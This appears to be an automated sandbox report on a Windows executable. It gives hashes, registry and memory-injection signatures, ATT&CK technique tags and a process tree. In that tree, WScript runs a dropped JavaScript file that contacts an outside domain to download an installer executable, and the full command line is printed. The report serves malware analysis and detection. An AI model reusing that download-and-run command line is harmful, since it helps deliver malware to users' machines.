b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c

Analysis

max time kernel
164s
max time network
179s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
04/12/2022, 01:35

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General

Target

b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c.exe
Size

184KB
MD5

4f368894bed31f869833de36874d2698
SHA1

0a5c24a391054dbd42d9fcc6b636ad0652be5987
SHA256

b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c
SHA512

bd5109f1ca68eeb8f6bb31da742d31d90191b8ece476bfda02e1ca30860e66fe7d1b135a61959405978577bbed3fc7888f24f9b1197e9ee09905a9a6297a355d
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3q:/7BSH8zUB+nGESaaRvoB7FJNndnT

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 10 IoCs

flow	pid	Process
19	4756	WScript.exe
25	4756	WScript.exe
37	4756	WScript.exe
42	4400	WScript.exe
43	4400	WScript.exe
48	4400	WScript.exe
49	4400	WScript.exe
54	4400	WScript.exe
56	2588	WScript.exe
58	2588	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	42	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 4756	2732	b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c.exe	79
PID 2732 wrote to memory of 4756	2732	b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c.exe	79
PID 2732 wrote to memory of 4756	2732	b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c.exe	79
PID 2732 wrote to memory of 4400	2732	b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c.exe	81
PID 2732 wrote to memory of 4400	2732	b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c.exe	81
PID 2732 wrote to memory of 4400	2732	b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c.exe	81
PID 2732 wrote to memory of 2588	2732	b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c.exe	83
PID 2732 wrote to memory of 2588	2732	b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c.exe	83
PID 2732 wrote to memory of 2588	2732	b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c.exe	83

C:\Users\Admin\AppData\Local\Temp\b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c.exe
"C:\Users\Admin\AppData\Local\Temp\b063b6dceee364220fbf9802e1a311ec14c4da4b6fd5c7e21aa9e61bbb21370c.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCB05.js" http://www.djapp.info/?domain=BUHxpVAmrP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufCB05.exe
  2⤵
  - Blocklisted process makes network request
  PID:4756
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCB05.js" http://www.djapp.info/?domain=BUHxpVAmrP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufCB05.exe
  2⤵
  - Blocklisted process makes network request
  PID:4400
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCB05.js" http://www.djapp.info/?domain=BUHxpVAmrP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufCB05.exe
  2⤵
  - Blocklisted process makes network request
  PID:2588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufCB05.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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